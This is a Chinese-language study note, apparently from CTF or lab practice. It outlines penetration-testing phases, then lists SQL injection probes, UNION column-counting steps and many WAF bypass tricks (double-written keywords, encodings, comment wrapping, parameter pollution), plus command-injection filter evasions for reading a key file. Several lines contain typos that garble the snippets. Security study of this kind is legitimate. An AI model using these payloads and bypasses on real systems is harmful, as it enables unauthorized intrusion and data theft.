渗透测试是安全技术人员完全模拟黑客地行为对目标系统进行探测与攻击,发现系统最薄弱环节过程。
1、明确目标
确定范围:测试目标地范围、IP、域名、内外网、测试账户
确定规则:能渗透到什么程度,所需要地时间、能否修改上传、能否提权。
确定需求:web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞等
2、信息收集
开放搜索:利用搜索引擎获得:后台、未授权页面、敏感URL等
基础信息:IP、网段、域名、端口。
应用信息:各端口地应用。web应用、邮件应用
系统信息:操作系统版本
版本信息:所有这些探测到的东西的版本
服务信息:中间件地各类信息,插件信息
人员信息:域名注册人员信息,web应用中发帖人地id,管理员姓名等
防护信息:试着卡能否探测到防护设备
3、漏洞检测
方法:
(1)漏扫,awvs,IBM appscan等
(2)手工探测
内容:系统漏洞:系统没有即使补丁
websever漏洞:webserver配置问题
web应用漏洞:web应用开发问题,如注入,跨占,csrf等
其他端口服务漏洞
通信安全:明文传输,roken在cookie中传输
4、漏洞验证
自动化验证:结合自动化扫描工具气筒的结果
手工验证,根据公开资源源进行验证
实验验证:自己搭建模拟环境
总结与报告
key位置: /tmp/360/key
一、判断方法:
and 1=1 页面返回正常
and 1=2 页面返回错误
or
二、判断过滤内容
union联合查询
select col1,col2,col3 from stuinfo
union
select c1,c2,c3 from teainfo
1、前后表对应地列要相同
判断浅表地查询列数:
union select 1 返回错误
union select 2 返回错我
union select 1,2,3,4,5 返回正常
前表的列数为5
order by n :小域等于N正常,大于错误,当前列数就是n
2、前后表对应的列数数据类型要兼容
union select '1',2,3,4,5 错误
union select 1,2,'3,'4,5 争创
3、如果前表出错,就会返回后表的结果
id =1 and 1 = 2
参数值前面加负号:
union 空格 select
回显:sql语句:select * from article where id = ('1select')
观察:过滤内容:union空格
绕过:waf:
1、大小写:uNioN UNION 被过滤了
2、双写:union:uniunionon 可用
3、asp+iis:% uni%%%on
4、url编码(小葵软件):union:%45%456等
5、特殊字符会绕过:uni%0aon
6、双编码:
7、unicode编码:Union
8、and 1=1 --》 and+1=1
9、宽字节:php:php.ini:gpc=on 出入特殊符号进行转义: \
10、空格:
/**/
11、通配符绕过:
读取文件内容:长度限制:
cat /file/a* *所有
?:加路径:/bin/c?t
单双引号:
| /bin/c'a 't ../key.php
| /bin/c"a "t ../key.php
12、
| 不能用 & :可用
13.反斜杠
|/bin/c\a\t../key.php
14.hpp:参数污染
http://www.xx.com/test.asp?id=1 & id=2
;slelct+1&id=2,3+from+admin--
selelct+1,2,3+from+admin--
15.正则绕过:过滤;
16、/*!union*/
17、/*%50000union*/
18、构造畸形数据:
19、改变提交方式:
get--post
20、上传绕过:关键字加空格
21、业务和性能:处理字节数有限制
burp修改
处理参数:只能处理前100各:101不处理
22、emoji:字符集:表情包,五字节
23、
绕过:union:双鞋:uniunionon
空格:/**/ //*!uniunionon*/
%a
三、SQL语句的完整性
第四步:构造payload